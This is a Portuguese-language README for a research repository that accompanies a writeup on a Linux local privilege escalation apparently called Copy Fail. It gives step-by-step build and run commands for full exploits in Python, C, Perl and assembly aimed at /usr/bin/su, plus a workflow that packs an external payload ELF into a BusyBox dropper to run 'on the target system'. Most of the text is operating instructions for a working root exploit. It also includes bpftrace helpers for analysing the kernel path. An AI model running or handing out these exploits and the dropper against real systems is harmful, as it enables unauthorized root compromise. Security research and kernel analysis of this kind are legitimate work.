
Artefatos de pesquisa, scripts de PoC e recursos de laboratório para o writeup de escalonamento de privilégio local Copy Fail no Linux em https://4xura.com/binex/kernel/copy-fail
Artefatos e scripts para o artigo CopyFail.
O guia detalhado:
proof-of-concept/ contém as demonstrações apenas com primitivas usadas no artigo.exploit-scripts/ contém as implementações completas do exploit em Python, C, Perl e assembly x86_64.bpftrace-scripts/ contém os pequenos auxiliares de rastreamento usados durante a análise em tempo de execução.Apenas os artefatos Perl, assembly e BusyBox esperam um ELF de substituição externo. Nos exemplos abaixo, esse arquivo se chama payload.pwnkit.elf, mas qualquer nome de arquivo serve.
Esse payload não é gerado dentro deste repositório. Compile-o primeiro seguindo o fluxo de trabalho do payload do artigo e, em seguida, coloque o ELF resultante no mesmo diretório de trabalho do artefato que deseja executar.
Os PoCs primitivos e os drivers de exploit em Python/C são diretamente executáveis como estão.
Estes PoCs são principalmente para demonstração no artigo. Eles mostram a primitiva de sobrescrita isoladamente, não o fluxo completo de substituição e execução.
Para executar a demonstração em Python, entre no diretório PoC e execute o script:
cd proof-of-concept
python3 copyfail_poc.py
Para executar a demonstração em C, compile-a primeiro e depois execute o binário resultante:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
O exploit em Python é autocontido e mantém os bytes de substituição no próprio script.
Entre no diretório de exploit e execute o caminho de destino padrão:
cd exploit-scripts
python3 exploit.py
Se quiser um nome base de destino diferente, passe-o como primeiro argumento. Para ativar logs de sobrescrita por bloco, defina DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
O exploit em C também é autocontido. Se quiser preparar uma substituição diferente, edite PAYLOAD_BYTES em exploit-scripts/exploit.c primeiro.
Compile o binário estático (opcional) assim:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Em seguida, execute o destino padrão ou passe um nome base diferente. O log de depuração é controlado através de DEBUG=1:
./exploit
./exploit su
DEBUG=1 ./exploit su
Esta versão lê um payload ELF externo em vez de incorporar bytes de substituição no script.
Execute-o a partir do diretório de exploit. Sem argumentos extras, ele usa o destino padrão e o caminho de payload padrão:
cd exploit-scripts
perl exploit.pl
Se quiser escolher tanto o caminho da vítima quanto o ELF de payload explicitamente, passe-os como argumentos. O log de depuração também é controlado através de DEBUG=1:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
Esta versão também consome um payload ELF externo. No exemplo abaixo, ele se chama payload.pwnkit.elf, mas você pode usar qualquer nome de arquivo. Se renomeá-lo, atualize a linha incbin em exploit-scripts/exploit.asm para corresponder.
Compile o driver assembly com nasm e ld:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Em seguida, execute o destino padrão ou passe um caminho de destino completo:
./exploit_asm
./exploit_asm /usr/bin/su
Isso empacota o driver assembly e um payload ELF externo em um único executor compatível com BusyBox. O exemplo abaixo usa payload.pwnkit.elf, mas qualquer nome de arquivo de payload serve, desde que você passe o mesmo caminho para o empacotador.
Gere o dropper a partir do diretório de exploit:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
No sistema alvo, execute o script gerado com BusyBox sh:
busybox sh ./copyfail-busybox.sh /usr/bin/su
Antes de executar os auxiliares de rastreamento, verifique se os símbolos relevantes estão disponíveis:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Para observar as páginas de arquivo entrando no caminho splice, execute:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Para observar dados apoiados por pipe alcançando AF_ALG, execute:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Para observar o callback de descriptografia authencesn vulnerável, execute:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt